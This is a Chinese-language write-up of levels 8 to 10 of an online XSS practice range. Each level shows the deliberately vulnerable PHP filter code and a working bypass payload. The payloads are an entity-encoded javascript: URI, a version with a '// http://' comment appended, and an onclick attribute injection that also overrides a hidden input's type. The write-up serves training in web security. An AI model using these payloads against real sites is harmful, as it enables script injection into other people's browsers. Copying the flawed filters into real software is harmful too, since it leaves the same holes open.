[XSS injection] – XSS注入 – CTF实战 – DayN – Level 8-10

[XSS injection] – XSS注入 – CTF实战 – DayN – Level 8-10

前言

本文不是CTF WP系列 所以文中提到的全部内容均为非CTF真题

文中使用的在线XSS靶场:传送门

感谢渊龙Sec团队提供靶场

正文

Level-8

核心代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

GETkeyword获取值并赋值给变量str所有输入均会被转为小写

这里并不会将我们输入的字符串替换为空 双写绕过自然并不生效

这里很明显Payload应该输入到<a>标签href中 我们正常应该联想到利用伪协议进行JS执行

实际上 浏览器默认支持解码Unicode编码格式字符串

原Payload

javascript:alert(123)

编码后

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#50;&#51;&#41;

fe07eee1f020250218193317

Level-9

核心代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

代码核心区别

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

strpos函数用于查找字符串 当我们的输入中不包含http://时 则返回链接不合法

我们的Payload只需要包含http://但是在注释中就好了

Payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#50;&#51;&#41; // http://

Level-10

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

keyword获取到的值已经不能用了 读者根据积累应该可以自行分析原因

t_sort进行了两次过滤 分别过滤左右尖括号

这里正常可以通过事件触发器执行JS

" onclick=alert(123)

但是表单属性被设置为hidden 这意味着这个表单将不会显示

我们可以预先设定一个类型属性绕过这个属性限制

" onclick=alert(123) type="text

d9b6f4554e20250218195910

© 版权声明
THE END
喜欢就支持一下吧
评论 共1条

请登录后发表评论